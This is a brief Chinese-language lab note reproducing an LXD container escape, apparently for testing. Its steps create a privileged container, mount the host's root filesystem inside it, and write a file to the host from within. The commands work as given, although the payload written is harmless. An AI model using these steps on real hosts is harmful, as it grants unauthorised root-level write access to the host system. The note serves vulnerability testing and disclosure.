系統 - LXD - Container Escape - CVE-2023-5536



參考資訊:
https://ubuntu.com/security/CVE-2023-5536
https://reboare.github.io/lxd/lxd-escape.html
https://bugs.launchpad.net/ubuntu/+source/lxd/+bug/1829071

測試環境
Ubuntu: 20.04.6 LTS (Focal Fossa)
Kernel: 5.8.0-23-generic
LXD: 3.0.4
LXC: 3.0.4

測試步驟

$ sudo apt-get install lxd

$ lxd init
$ lxc init ubuntu:16.04 test -c security.privileged=true 
$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
$ lxc start test
$ lxc exec test bash

# cd /mnt/root/
# echo "test" > ICanDoWhatever
# exit

$ cat /ICanDoWhatever
    test